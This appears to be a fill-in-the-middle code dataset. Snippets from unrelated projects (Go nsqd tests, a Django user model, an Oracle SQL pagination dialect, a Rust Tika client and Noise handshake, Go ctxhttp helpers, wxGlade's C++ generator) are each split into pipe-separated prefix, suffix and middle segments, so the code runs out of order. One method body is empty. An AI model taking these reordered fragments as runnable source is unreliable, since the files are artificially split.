Convey("It should not produce any error", func() {
err := Connect(destNsqdTCPAddr)
So(err, ShouldEqual, nil)
})
})
Convey("Given wrong nsqd address", t, func() {
Convey("It should produce an error", func() {
err := Connect("127.0.0.1")
So(err, ShouldNotEqual, nil)
})
})
}
func TestConnectList(t *testing.T) {
Convey("Given list of nsqd address", t, func() {
Convey("It should not produce any error", func() {
err := ConnectList(destNsqdTCPAddrs)
So(err, ShouldEqual, nil)
})
})
Convey("Given list of wrong nsqd address", t, func() {
Convey("It should produce an error", func() {
err := ConnectList(destNsqdTCPAddrs)
So(err, ShouldNotEqual, nil)
})
})
} | })
Convey("Given list of wrong lookupd address", t, func() {
Convey("It should not produce an error", func() { |
models.py | from django.conf import settings
from django.contrib.auth.models import AbstractUser
from django.db import models
from django.urls import reverse
from django.utils.translation import ugettext_lazy as _
class User(AbstractUser):
# WARNING!
"""
Some officially supported features of Crowdbotics Dashboard depend on the initial
state of this User model (Such as the creation of superusers using the CLI
or password reset in the dashboard). Changing, extending, or modifying this model
may lead to unexpected bugs and or behaviors in the automated flows provided
by Crowdbotics. Change it at your own risk.
| """
name = models.CharField(
null=True,
blank=True,
max_length=255,
)
email = models.EmailField(
null=True,
blank=True,
max_length=255,
)
first_name = models.CharField(
null=True,
blank=True,
max_length=255,
)
last_name = models.CharField(
null=True,
blank=True,
max_length=255,
)
timestamp_created = models.DateTimeField(
null=True,
blank=True,
auto_now_add=True,
)
last_updated = models.DateTimeField(
null=True,
blank=True,
auto_now=True,
) | This model represents the User instance of the system, login system and
everything that relates with an `User` is represented by this model. |
router.go | package post
import (
"github.com/go-ozzo/ozzo-routing"
)
func | (router *routing.Router) {
threadApi := router.Group("/api/post")
threadApi.Get(`/<id:\d+>/details`, func(c *routing.Context) error {
content, responseCode := Details(c)
c.Response.Header().Set("Content-Type", "application/json")
c.Response.WriteHeader(responseCode)
return c.Write(content)
})
threadApi.Post(`/<id:\d+>/details`, func(c *routing.Context) error {
content, responseCode := Update(c)
c.Response.Header().Set("Content-Type", "application/json")
c.Response.WriteHeader(responseCode)
return c.Write(content)
})
} | Route |
oracle.js | import {
interpretForOffsetPaging,
interpretForKeysetPaging,
orderColumnsToString
} from '../shared'
import { filter } from 'lodash'
function recursiveConcat(keys) {
if (keys.length <= 1) {
return keys[0]
}
return recursiveConcat([ `CONCAT(${keys[0]}, ${keys[1]})`, ...keys.slice(2) ])
}
const q = str => `"${str}"`
function keysetPagingSelect(table, whereCondition, order, limit, as, options = {}) {
let { joinCondition, joinType, extraJoin } = options
whereCondition = filter(whereCondition).join(' AND ') || '1 = 1'
if (joinCondition) {
return `\
${ joinType === 'LEFT' ? 'OUTER' : 'CROSS' } APPLY (
SELECT "${as}".*
FROM ${table} "${as}"
${extraJoin ? `LEFT JOIN ${extraJoin.name} ${q(extraJoin.as)}
ON ${extraJoin.condition}` : ''}
WHERE ${whereCondition}
ORDER BY ${orderColumnsToString(order.columns, q, order.table)}
FETCH FIRST ${limit} ROWS ONLY
) ${q(as)}`
}
return `\
FROM (
SELECT "${as}".*
FROM ${table} "${as}"
WHERE ${whereCondition}
ORDER BY ${orderColumnsToString(order.columns, q, order.table)}
FETCH FIRST ${limit} ROWS ONLY
) ${q(as)}`
}
function offsetPagingSelect(table, pagingWhereConditions, order, limit, offset, as, options = {}) {
let { joinCondition, joinType, extraJoin } = options
const whereCondition = filter(pagingWhereConditions).join(' AND ') || '1 = 1'
if (joinCondition) {
return `\
${joinType === 'LEFT' ? 'OUTER' : 'CROSS'} APPLY (
SELECT "${as}".*, count(*) OVER () AS ${q('$total')}
FROM ${table} "${as}"
${extraJoin ? `LEFT JOIN ${extraJoin.name} ${q(extraJoin.as)}
ON ${extraJoin.condition}` : ''}
WHERE ${whereCondition}
ORDER BY ${orderColumnsToString(order.columns, q, order.table)}
OFFSET ${offset} ROWS FETCH NEXT ${limit} ROWS ONLY
) ${q(as)}`
}
return `\
FROM (
SELECT "${as}".*, count(*) OVER () AS ${q('$total')}
FROM ${table} "${as}"
WHERE ${whereCondition}
ORDER BY ${orderColumnsToString(order.columns, q, order.table)} | const dialect = module.exports = {
...require('./pg'),
name: 'oracle',
compositeKey(parent, keys) {
keys = keys.map(key => `"${parent}"."${key}"`)
return `NULLIF(${recursiveConcat(keys)}, '')`
},
handlePaginationAtRoot: async function(parent, node, context, tables) {
const pagingWhereConditions = []
if (node.sortKey) {
const { limit, order, whereCondition: whereAddendum } = interpretForKeysetPaging(node, dialect)
pagingWhereConditions.push(whereAddendum)
if (node.where) {
pagingWhereConditions.push(await node.where(`"${node.as}"`, node.args || {}, context, node))
}
tables.push(keysetPagingSelect(node.name, pagingWhereConditions, order, limit, node.as))
} else if (node.orderBy) {
const { limit, offset, order } = interpretForOffsetPaging(node, dialect)
if (node.where) {
pagingWhereConditions.push(await node.where(`"${node.as}"`, node.args || {}, context, node))
}
tables.push(offsetPagingSelect(node.name, pagingWhereConditions, order, limit, offset, node.as))
}
},
handleJoinedOneToManyPaginated: async function(parent, node, context, tables, joinCondition) {
const pagingWhereConditions = [
await node.sqlJoin(`"${parent.as}"`, q(node.as), node.args || {}, context, node)
]
if (node.where) {
pagingWhereConditions.push(await node.where(`"${node.as}"`, node.args || {}, context, node))
}
// which type of pagination are they using?
if (node.sortKey) {
const { limit, order, whereCondition: whereAddendum } = interpretForKeysetPaging(node, dialect)
pagingWhereConditions.push(whereAddendum)
tables.push(
keysetPagingSelect(node.name, pagingWhereConditions, order, limit, node.as, {
joinCondition, joinType: 'LEFT'
})
)
} else if (node.orderBy) {
const { limit, offset, order } = interpretForOffsetPaging(node, dialect)
tables.push(
offsetPagingSelect(node.name, pagingWhereConditions, order, limit, offset, node.as, {
joinCondition, joinType: 'LEFT'
})
)
}
},
handleJoinedManyToManyPaginated: async function(parent, node, context, tables, joinCondition1, joinCondition2) {
const pagingWhereConditions = [
await node.junction.sqlJoins[0](`"${parent.as}"`, `"${node.junction.as}"`, node.args || {}, context, node)
]
if (node.junction.where) {
pagingWhereConditions.push(
await node.junction.where(`"${node.junction.as}"`, node.args || {}, context, node)
)
}
if (node.where) {
pagingWhereConditions.push(
await node.where(`"${node.as}"`, node.args || {}, context, node)
)
}
const lateralJoinOptions = { joinCondition: joinCondition1, joinType: 'LEFT' }
if (node.where || node.orderBy) {
lateralJoinOptions.extraJoin = {
name: node.name,
as: node.as,
condition: joinCondition2
}
}
if (node.sortKey || node.junction.sortKey) {
const { limit, order, whereCondition: whereAddendum } = interpretForKeysetPaging(node, dialect)
pagingWhereConditions.push(whereAddendum)
tables.push(
keysetPagingSelect(node.junction.sqlTable, pagingWhereConditions, order, limit, node.junction.as, lateralJoinOptions)
)
} else if (node.orderBy || node.junction.orderBy) {
const { limit, offset, order } = interpretForOffsetPaging(node, dialect)
tables.push(
offsetPagingSelect(
node.junction.sqlTable, pagingWhereConditions, order,
limit, offset, node.junction.as, lateralJoinOptions
)
)
}
},
handleBatchedOneToManyPaginated: async function(parent, node, context, tables, batchScope) {
const pagingWhereConditions = [
`"${node.as}"."${node.sqlBatch.thisKey.name}" = "temp"."value"`
]
if (node.where) {
pagingWhereConditions.push(
await node.where(`"${node.as}"`, node.args || {}, context, node)
)
}
tables.push(`FROM (${arrToTableUnion(batchScope)}) "temp"`)
const lateralJoinCondition = `"${node.as}"."${node.sqlBatch.thisKey.name}" = "temp"."value"`
if (node.sortKey) {
const { limit, order, whereCondition: whereAddendum } = interpretForKeysetPaging(node, dialect)
pagingWhereConditions.push(whereAddendum)
tables.push(
keysetPagingSelect(node.name, pagingWhereConditions, order, limit, node.as, { joinCondition: lateralJoinCondition })
)
} else if (node.orderBy) {
const { limit, offset, order } = interpretForOffsetPaging(node, dialect)
tables.push(offsetPagingSelect(node.name, pagingWhereConditions, order, limit, offset, node.as, {
joinCondition: lateralJoinCondition
}))
}
},
handleBatchedManyToManyPaginated: async function(parent, node, context, tables, batchScope, joinCondition) {
const pagingWhereConditions = [
`"${node.junction.as}"."${node.junction.sqlBatch.thisKey.name}" = "temp"."value"`
]
if (node.junction.where) {
pagingWhereConditions.push(
await node.junction.where(`"${node.junction.as}"`, node.args || {}, context, node)
)
}
if (node.where) {
pagingWhereConditions.push(await node.where(`"${node.as}"`, node.args || {}, context, node))
}
tables.push(`FROM (${arrToTableUnion(batchScope)}) "temp"`)
const lateralJoinCondition = `"${node.junction.as}"."${node.junction.sqlBatch.thisKey.name}" = "temp"."value"`
const lateralJoinOptions = { joinCondition: lateralJoinCondition, joinType: 'LEFT' }
if (node.where || node.orderBy) {
lateralJoinOptions.extraJoin = {
name: node.name,
as: node.as,
condition: joinCondition
}
}
if (node.sortKey || node.junction.sortKey) {
const { limit, order, whereCondition: whereAddendum } = interpretForKeysetPaging(node, dialect)
pagingWhereConditions.push(whereAddendum)
tables.push(
keysetPagingSelect(node.junction.sqlTable, pagingWhereConditions, order, limit, node.junction.as, lateralJoinOptions)
)
} else if (node.orderBy || node.junction.orderBy) {
const { limit, offset, order } = interpretForOffsetPaging(node, dialect)
tables.push(
offsetPagingSelect(
node.junction.sqlTable, pagingWhereConditions, order,
limit, offset, node.junction.as, lateralJoinOptions
)
)
}
tables.push(`LEFT JOIN ${node.name} "${node.as}" ON ${joinCondition}`)
}
}
function arrToTableUnion(arr) {
return arr.map(val => `
SELECT ${val} AS "value" FROM DUAL
`).join(' UNION ')
} | OFFSET ${offset} ROWS FETCH NEXT ${limit} ROWS ONLY
) ${q(as)}`
}
|
lib.rs | #[macro_use]
extern crate serde;
#[macro_use]
extern crate log;
pub mod client;
mod error;
pub mod server;
pub mod web;
pub use crate::client::{TikaBuilder, TikaClient};
pub use crate::error::Result;
use reqwest::{IntoUrl, Url};
use std::net;
/// Indicates whether a tika server instance should spawned or is already running
#[derive(Debug, Clone)]
pub enum TikaMode {
/// also start the tika server and bind it to the address
/// by default the server runs at `127.0.0.1:9998`
ClientServer(net::SocketAddr),
/// don't start a tika server instead access an already running server reachable via `Url`
ClientOnly(Url),
}
impl TikaMode {
/// A tika server should be spawned at a local address
#[inline]
pub fn client_server<T: AsRef<str>>(addr: T) -> Result<Self> {
Ok(TikaMode::ClientServer(addr.as_ref().parse()?))
}
/// the url of the tika server, either local and self hosted or remote
pub fn server_endpoint(&self) -> Url {
match self {
TikaMode::ClientServer(addr) => Url::parse(&format!("http://{}", addr)).unwrap(),
TikaMode::ClientOnly(url) => url.clone(),
}
}
/// Creates a `TikaMode::ClientOnly` with the desired `server_url` as tika server endpoint
pub fn client_only<U: IntoUrl>(server_url: U) -> Result<Self> {
Ok(TikaMode::ClientOnly(server_url.into_url()?))
}
}
impl Default for TikaMode {
fn default() -> Self {
if let Ok(url) = ::std::env::var("TIKA_SERVER_ENDPOINT") {
TikaMode::ClientOnly(
Url::parse(&url)
.unwrap_or_else(|_| panic!("Failed to convert {} to a valid url", url)),
)
} else |
}
}
| {
TikaMode::ClientServer(net::SocketAddr::new(
net::IpAddr::V4(net::Ipv4Addr::new(127, 0, 0, 1)),
9998,
))
} |
handshake.rs | // Copyright 2018 The Exonum Team
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use futures::future::{done, Future};
use tokio_codec::{Decoder, Framed};
use tokio_io::{AsyncRead, AsyncWrite};
use std::io;
use super::wrapper::NoiseWrapper;
use crypto::{
x25519::{self, into_x25519_keypair, into_x25519_public_key}, PublicKey, SecretKey,
};
use events::{
codec::MessagesCodec, error::other_error,
noise::{Handshake, HandshakeRawMessage, HandshakeResult},
};
use node::state::SharedConnectList;
/// Params needed to establish secured connection using Noise Protocol.
#[derive(Debug, Clone)]
pub struct HandshakeParams {
pub public_key: x25519::PublicKey,
pub secret_key: x25519::SecretKey,
pub remote_key: Option<x25519::PublicKey>,
pub connect_list: SharedConnectList,
max_message_len: u32,
}
impl HandshakeParams { | public_key: PublicKey,
secret_key: SecretKey,
connect_list: SharedConnectList,
max_message_len: u32,
) -> Self {
let (public_key, secret_key) = into_x25519_keypair(public_key, secret_key).unwrap();
HandshakeParams {
public_key,
secret_key,
max_message_len,
remote_key: None,
connect_list,
}
}
pub fn set_remote_key(&mut self, remote_key: PublicKey) {
self.remote_key = Some(into_x25519_public_key(remote_key));
}
}
#[derive(Debug)]
pub struct NoiseHandshake {
noise: NoiseWrapper,
max_message_len: u32,
connect_list: SharedConnectList,
}
impl NoiseHandshake {
pub fn initiator(params: &HandshakeParams) -> Self {
let noise = NoiseWrapper::initiator(params);
NoiseHandshake {
noise,
max_message_len: params.max_message_len,
connect_list: params.connect_list.clone(),
}
}
pub fn responder(params: &HandshakeParams) -> Self {
let noise = NoiseWrapper::responder(params);
NoiseHandshake {
noise,
max_message_len: params.max_message_len,
connect_list: params.connect_list.clone(),
}
}
pub fn read_handshake_msg<S: AsyncRead + 'static>(
mut self,
stream: S,
) -> impl Future<Item = (S, Self), Error = io::Error> {
HandshakeRawMessage::read(stream).and_then(move |(stream, msg)| {
self.noise.read_handshake_msg(&msg.0)?;
Ok((stream, self))
})
}
pub fn write_handshake_msg<S: AsyncWrite + 'static>(
mut self,
stream: S,
) -> impl Future<Item = (S, Self), Error = io::Error> {
done(self.noise.write_handshake_msg())
.map_err(|e| e.into())
.and_then(|buf| HandshakeRawMessage(buf).write(stream))
.map(move |(stream, _)| (stream, self))
}
pub fn finalize<S: AsyncRead + AsyncWrite + 'static>(
self,
stream: S,
) -> Result<Framed<S, MessagesCodec>, io::Error> {
let remote_static_key = {
// Panic because with selected handshake pattern we must have
// `remote_static_key` on final step of handshake.
let rs = self.noise
.session
.get_remote_static()
.expect("Remote static key is not present!");
x25519::PublicKey::from_slice(rs).expect("Remote static key is not valid x25519 key!")
};
if !self.is_peer_allowed(&remote_static_key) {
return Err(other_error("Peer is not in ConnectList"));
}
let noise = self.noise.into_transport_mode()?;
let framed = MessagesCodec::new(self.max_message_len, noise).framed(stream);
Ok(framed)
}
fn is_peer_allowed(&self, remote_static_key: &x25519::PublicKey) -> bool {
self.connect_list
.peers()
.iter()
.map(|info| into_x25519_public_key(info.public_key))
.any(|key| remote_static_key == &key)
}
}
impl Handshake for NoiseHandshake {
fn listen<S>(self, stream: S) -> HandshakeResult<S>
where
S: AsyncRead + AsyncWrite + 'static,
{
let framed = self.read_handshake_msg(stream)
.and_then(|(stream, handshake)| handshake.write_handshake_msg(stream))
.and_then(|(stream, handshake)| handshake.read_handshake_msg(stream))
.and_then(|(stream, handshake)| handshake.finalize(stream));
Box::new(framed)
}
fn send<S>(self, stream: S) -> HandshakeResult<S>
where
S: AsyncRead + AsyncWrite + 'static,
{
let framed = self.write_handshake_msg(stream)
.and_then(|(stream, handshake)| handshake.read_handshake_msg(stream))
.and_then(|(stream, handshake)| handshake.write_handshake_msg(stream))
.and_then(|(stream, handshake)| handshake.finalize(stream));
Box::new(framed)
}
} | pub fn new( |
ctxhttp.go | // Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package ctxhttp provides helper functions for performing context-aware HTTP requests.
package ctxhttp
import (
"io"
"net/http"
"net/url"
"strings"
"github.com/apcera/libretto/Godeps/_workspace/src/golang.org/x/net/context"
)
// Do sends an HTTP request with the provided http.Client and returns an HTTP response.
// If the client is nil, http.DefaultClient is used.
// If the context is canceled or times out, ctx.Err() will be returned.
func Do(ctx context.Context, client *http.Client, req *http.Request) (*http.Response, error) {
if client == nil {
client = http.DefaultClient
}
// Request cancelation changed in Go 1.5, see cancelreq.go and cancelreq_go14.go.
cancel := canceler(client, req)
type responseAndError struct {
resp *http.Response
err error
}
result := make(chan responseAndError, 1)
go func() {
resp, err := client.Do(req)
result <- responseAndError{resp, err}
}()
select {
case <-ctx.Done():
cancel()
return nil, ctx.Err()
case r := <-result:
return r.resp, r.err
}
}
// Get issues a GET request via the Do function.
func Get(ctx context.Context, client *http.Client, url string) (*http.Response, error) {
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
return Do(ctx, client, req)
}
// Head issues a HEAD request via the Do function.
func Head(ctx context.Context, client *http.Client, url string) (*http.Response, error) {
req, err := http.NewRequest("HEAD", url, nil)
if err != nil {
return nil, err
} |
// Post issues a POST request via the Do function.
func Post(ctx context.Context, client *http.Client, url string, bodyType string, body io.Reader) (*http.Response, error) {
req, err := http.NewRequest("POST", url, body)
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", bodyType)
return Do(ctx, client, req)
}
// PostForm issues a POST request via the Do function.
func PostForm(ctx context.Context, client *http.Client, url string, data url.Values) (*http.Response, error) {
return Post(ctx, client, url, "application/x-www-form-urlencoded", strings.NewReader(data.Encode()))
} | return Do(ctx, client, req)
} |
cpp_codegen.py | """\
C++ code generator
@copyright: 2002-2007 Alberto Griggio
@copyright: 2012-2016 Carsten Grohmann
@copyright: 2017-2020 Dietmar Schwertberger
@license: MIT (see LICENSE.txt) - THIS PROGRAM COMES WITH NO WARRANTY
"""
import os.path, re, logging
from codegen import BaseLangCodeWriter, BaseSourceFileContent, _replace_tag
from codegen import ClassLines as BaseClassLines
import config, wcodegen
class SourceFileContent(BaseSourceFileContent):
"""Keeps info about an existing file that has to be updated, to replace only the lines inside a wxGlade block,
and to keep the rest of the file as it was.
@ivar event_handlers: dictionary of event handlers for each class
@ivar header_content: Content of the header file
@ivar source_content: Content of the source file"""
rec_block_start = re.compile(
r'^(?P<spaces>\s*)' # leading spaces
r'//\s*' # comment sign
r'begin\s+wxGlade:\s*' # "begin wxGlade:" statement and tailing spaces
r'(?P<classname>\w*)' # class or function name
r'::' # separator between class and function / block (non-greedy)
r'(?P<block>\w+)' # function / block name
r'\s*$' # tailing spaces
)
rec_block_end = re.compile(
r'^\s*' # leading spaces
r'//\s*' # comment sign
r'end\s+wxGlade' # "end exGlade" statement
r'\s*$' # tailing spaces
)
rec_class_end = re.compile(
r'^\s*};\s*' # closing curly brackets
r'//\s*' # comment sign
r'wxGlade:\s+end\s+class' # "wxGlade: end class" statement
r'\s*$' # tailing spaces
)
"Regexp to match last line of a class statement"
rec_class_decl = re.compile(
r'^\s*' # leading spaces
r'class\s+([a-zA-Z_]\w*)' # "class <name>" statement
r'\s*' # tailing spaces
)
"""Regexp to match class declarations
This isn't very accurate - doesn't match template classes, nor virtual
inheritance, but should be enough for most cases"""
rec_decl_event_table = re.compile(
r'^\s*' # leading spaces
r'DECLARE_EVENT_TABLE\s*\(\s*\)\s*;?' # declaration of the event table
r'\s*$' # tailing spaces
)
"Regexp to match declaration of event table"
rec_def_event_table = re.compile(
r'^\s*' # leading spaces
r'BEGIN_EVENT_TABLE\s*\(\s*(\w+)\s*,\s*(\w+)\s*\)'
r'\s*$' # tailing spaces
)
"Regexp to match event table"
rec_event_handler = re.compile(
r'^\s*' # leading spaces
r'(?:virtual\s+)?'
r'void\s+(?P<handler>[A-Za-z_]+\w*)' # event handler name
r'\s*' # optional spaces
r'\([A-Za-z_:0-9]+\s*&\s*\w*\)\s*;'
r'\s*' # optional spaces
r'//\s*wxGlade:\s*<event_handler>' # wxGlade event handler statement
r'\s*$' # tailing spaces
)
rec_event_handlers_marker = re.compile(
r'^\s*' # leading spaces
r'//\s*wxGlade:\s*add\s+'
r'((?:\w|:)+)\s+event handlers'
r'\s*$' # tailing spaces
)
"Regexp to match wxGlade comment of event handlers"
def __init__(self, name, code_writer):
# initialise new variables first
self.header_content = None
#self.source_content = None
self.content = None
self.event_table_decl = {}
self.event_table_def = {}
self.header_extension = code_writer.header_extension
self.source_extension = code_writer.source_extension
# call inherited constructor
BaseSourceFileContent.__init__(self, name, code_writer)
def replace_header(self, tag, content):
return _replace_tag(self.header_content, tag, content)
def build_untouched_content(self):
BaseSourceFileContent.build_untouched_content(self)
self._build_untouched(self.name + "." + self.header_extension, True)
BaseSourceFileContent.build_untouched_content(self)
self._build_untouched(self.name + "." + self.source_extension, False)
def _build_untouched(self, filename, is_header):
prev_was_handler = False
events_tag_added = False
inside_block = False
inside_comment = False
tmp_in = self._load_file(filename)
out_lines = []
check_old_methods = [] # list of indices with set_properties or do_layout
for line in tmp_in:
comment_index = line.find('/*')
if not inside_comment and comment_index != -1 and comment_index > line.find('//'):
inside_comment = True
if inside_comment:
end_index = line.find('*/')
if end_index > comment_index:
inside_comment = False
if not is_header:
result = None
else:
result = self.rec_class_decl.match(line)
if not inside_comment and not inside_block and result:
if not self.class_name:
# this is the first class declared in the file: insert the new ones before this
out_lines.append( '<%swxGlade insert new_classes>' % self.nonce )
self.new_classes_inserted = True
self.class_name = result.group(1)
self.class_name = self.format_classname(self.class_name)
self.classes.add( self.class_name ) # add the found class to the list of classes of this module
out_lines.append(line)
elif not inside_block:
result = self.rec_block_start.match(line)
if not inside_comment and result:
# replace the lines inside a wxGlade block with a tag that will be used later by add_class
spaces = result.group('spaces')
which_class = result.group('classname')
which_block = result.group('block')
if not which_class:
which_class = self.class_name
else:
which_class = self.format_classname(which_class)
self.spaces[which_class] = spaces
inside_block = True
if which_block in ("do_layout","set_properties"):
# probably to be removed
check_old_methods.append( len(out_lines) )
out_lines.append( '<%swxGlade replace %s %s>' %
(self.nonce, result.group('classname'), result.group('block') ) )
else:
dont_append = False
# ALB 2004-12-08 event handling support...
if is_header and not inside_comment:
result = self.rec_event_handler.match(line)
if result:
prev_was_handler = True
which_handler = result.group('handler')
which_class = self.class_name
self.event_handlers.setdefault( which_class, set() ).add( which_handler )
else:
if prev_was_handler:
# add extra event handlers here...
out_lines.append('<%swxGlade event_handlers %s>' % (self.nonce, self.class_name) )
prev_was_handler = False
events_tag_added = True
elif not events_tag_added and \
self.is_end_of_class(line):
out_lines.append( '<%swxGlade event_handlers %s>' % (self.nonce, self.class_name) )
# now try to see if we already have a DECLARE_EVENT_TABLE
result = self.rec_decl_event_table.match(line)
if result:
self.event_table_decl[self.class_name] = True
elif not inside_comment:
result = self.rec_event_handlers_marker.match(line)
if result:
out_lines.append( '<%swxGlade add %s event handlers>' % (self.nonce, result.group(1)) )
dont_append = True
result = self.rec_def_event_table.match(line)
if result:
which_class = result.group(1)
self.event_table_def[which_class] = True
# ----------------------------------------
if not dont_append:
out_lines.append(line)
else:
# ignore all the lines inside a wxGlade block
if self.rec_block_end.match(line):
inside_block = False
if is_header and not self.new_classes_inserted:
# if we are here, the previous ``version'' of the file did not contain any class, so we must add the
# new_classes tag at the end of the file
out_lines.append('<%swxGlade insert new_classes>' % self.nonce)
# when moving from 0.9 to 1.0: remove empty methods "do_layout" and "set_properties"
while check_old_methods:
i = check_old_methods.pop(-1)
if out_lines[i+1].strip()=='}': # just end of block -> remove incl. trailing empty lines
self._remove_method(out_lines, i-2, i+1)
# set the ``persistent'' content of the file
if is_header:
self.header_content = out_lines
else:
self.content = out_lines
def is_end_of_class(self, line):
"""Returns True if the line is the last line of a class
Not really, but for wxglade-generated code it should work..."""
return self.rec_class_end.match(line)
class ClassLines(BaseClassLines):
"""Stores the lines of C++ code for a custom class"""
def __init__(self):
BaseClassLines.__init__(self)
self.ids = [] # Ids declared in the source (for Evt. handling): grouped in a public enum in the custom class
self.sub_objs = [] # List of 2-tuples (type, name) of the sub-objects; attributes of the toplevel object
self.extra_code_h = [] # Extra header code to output
self.extra_code_cpp = [] # Extra source code to output
self.dependencies = set()
class CPPCodeWriter(BaseLangCodeWriter, wcodegen.CppMixin):
"""Code writer class for writing C++ code out of the designed GUI elements
source_extension: Extension of the source file
header_extension: Extension of the header file
last_generated_id: Last generated Id number (wxNewId() is not used yet)
tmpl_init_gettext: Template for inclusion of i18n headers and defining APP_CATALOG constant or None
see: BaseLangCodeWriter"""
ClassLines = ClassLines
_code_statements = {
'backgroundcolour': "%(objname)sSetBackgroundColour(%(value)s);\n",
'disabled': "%(objname)sEnable(0);\n",
'extraproperties': "%(objname)sSet%(propname_cap)s(%(value)s);\n",
'focused': "%(objname)sSetFocus();\n",
'foregroundcolour': "%(objname)sSetForegroundColour(%(value)s);\n",
'hidden': "%(objname)sHide();\n",
'setfont': "%(objname)sSetFont(wxFont(%(size)s, %(family)s, "
"%(style)s, %(weight)s, %(underlined)s, wxT(%(face)s)));\n",
'tooltip': "%(objname)sSetToolTip(%(tooltip)s);\n",
'wxcolour': "wxColour(%(value)s)",
'wxnullcolour': "wxNullColour",
'wxsystemcolour': "wxSystemSettings::GetColour(%(value)s)",
}
class_separator = '::'
language_note = \
'// Example for compiling a single file project under Linux using g++:\n' \
'// g++ MyApp.cpp $(wx-config --libs) $(wx-config --cxxflags) -o MyApp\n' \
'//\n' \
'// Example for compiling a multi file project under Linux using g++:\n' \
'// g++ main.cpp $(wx-config --libs) $(wx-config --cxxflags) -o MyApp Dialog1.cpp Frame1.cpp\n' \
'//\n'
output_name = None # If not None, name (without extension) of the file to write into
output_header = None # Temporary storage of header file for writing into (list)
output_file = None # Temporary storage of source file for writing into (list)
shebang = '// -*- C++ -*-\n//\n'
tmpl_cfunc_end = '}\n\n'
tmpl_sizeritem = '%s->Add(%s, %s, %s, %s);\n'
tmpl_sizeritem_button = '%s->AddButton(%s)\n'
tmpl_gridbagsizeritem = '%s->Add(%s, wxGBPosition%s, wxGBSpan%s, %s, %s);\n'
tmpl_gridbagsizerspacer = '%s->Add(%s, %s, wxGBPosition%s, wxGBSpan%s, %s, %s);\n'
tmpl_spacersize = '%s, %s'
tmpl_appfile = """\
%(overwrite)s\
%(header_lines)s\
#include "%(filename_top_win_class)s"
"""
tmpl_init_gettext = """\
#include <wx/intl.h>
#ifndef APP_CATALOG
#define APP_CATALOG "%(textdomain)s" // replace with the appropriate catalog name
#endif
"""
def _get_app_template(self, app, top_win):
'build template string for application'
if not self.app_name: return None
# XXX use Show() for frames/panels and ShowModal()/Destroy for dialogs
klass = app.klass
if self._use_gettext:
gettext1 = ["protected:", "%(tab)swxLocale m_locale; // locale we'll be using"]
gettext2 = ['%(tab)sm_locale.Init();',
'#ifdef APP_LOCALE_DIR',
'%(tab)sm_locale.AddCatalogLookupPathPrefix(wxT(APP_LOCALE_DIR));',
'#endif',
'%(tab)sm_locale.AddCatalog(wxT(APP_CATALOG));\n']
else:
gettext1 = gettext2 = []
if klass:
klass1 = 'class %(klass)s: public wxApp {'
klass2 = ['IMPLEMENT_APP(%(klass)s)\n',
'bool %(klass)s::OnInit()']
else:
klass1 = 'class MyApp: public wxApp {'
klass2 = ['IMPLEMENT_APP(MyApp)\n',
'bool MyApp::OnInit()',]
ret = ['', klass1,
'public:', '%(tab)sbool OnInit();'
] + gettext1 + ['};\n'] + klass2 + ['{'] + gettext2 + [
'%(tab)swxInitAllImageHandlers();',
'%(tab)s%(top_win_class)s* %(top_win)s = new %(top_win_class)s(NULL, wxID_ANY, wxEmptyString);',
'%(tab)sSetTopWindow(%(top_win)s);',
'%(tab)s%(top_win)s->Show();',
'%(tab)sreturn true;',
'}', '']
return '\n'.join(ret)
tmpl_empty_string = 'wxEmptyString'
def init_lang(self, app=None):
self.last_generated_id = 1000
self.generated_ids = {}
# Extensions and main filename based on Project options when set
if app is not None:
self.source_extension = app.source_extension or config.default_source_extension
self.header_extension = app.header_extension or config.default_header_extension
else:
self.source_extension = config.default_source_extension
self.header_extension = config.default_header_extension
if hasattr(app, "app_filename"): # only for testing
base = os.path.splitext(app.app_filename)[0]
else:
base = os.path.splitext(config.default_cpp_app_name)[0] #
self.app_filename = '%s.%s' % (base, self.source_extension)
self.header_lines = [ '#include <wx/wx.h>\n',
'#include <wx/image.h>\n' ]
# include i18n / gettext
if self._use_gettext and self._textdomain:
self.header_lines.append( self.tmpl_init_gettext % {'textdomain': self._textdomain} )
# extra lines to generate (see the 'extracode' property of top-level widgets)
self._current_extra_code_h = []
self._current_extra_code_cpp = []
def init_files(self, out_path):
if self.multiple_files:
self.previous_source = None
self.out_dir = out_path
else:
name = os.path.splitext(out_path)[0]
self.output_name = name
if not self._overwrite:
header_exists = self._file_exists(name + "." + self.header_extension)
source_exists = self._file_exists(name + "." + self.source_extension)
if (header_exists and not source_exists) or (source_exists and not header_exists):
ret = _("To keep existing user code, both header and source file must exist.\n"
"(files '%s...'")
return ret%name
if not self._overwrite and header_exists:
# keep all the lines not inside a wxGlade block.
self.previous_source = SourceFileContent(name, self)
else:
# if the file doesn't exist, create it and write the intro
self.previous_source = None
self.output_header = []
self.output_file = []
# isolation directives
oh = os.path.basename(name + "." + self.header_extension).upper().replace( '.', '_' )
self.output_header.append('#ifndef %s\n#define %s\n' % (oh, oh))
self.output_header.append('\n')
for line in self.header_lines:
self.output_header.append(line)
self.output_header.append('\n')
# now, write the tags to store dependencies and extra code
self.output_header.append('<%swxGlade replace dependencies>' % self.nonce)
self.output_header.append('\n')
self.output_header.append('<%swxGlade replace extracode>' % self.nonce)
self.output_header.append('\n')
self.output_file.append('#include "%s.%s"\n\n' % (os.path.basename(name), self.header_extension))
self.output_file.append('<%swxGlade replace extracode>\n' % self.nonce)
self.output_file.append('\n')
def output_header_replace(self, tag, content):
_replace_tag(self.output_header, tag, content)
def finalize(self):
|
def add_app(self, app_attrs, top_win):
# add language specific mappings
self.lang_mapping['filename_top_win_class'] = '%s.%s' % (top_win.klass, self.header_extension)
BaseLangCodeWriter.add_app(self, app_attrs, top_win)
def add_class(self, code_obj):
assert code_obj not in self.classes
try:
builder = self.obj_builders[code_obj.WX_CLASS]
except KeyError:
logging.error('%s', code_obj)
# this is an error, let the exception be raised; the details are logged by the global exception handler
raise
ret = self.classes[code_obj] = self.ClassLines() # ClassLines will collect the code lines incl. children
return ret
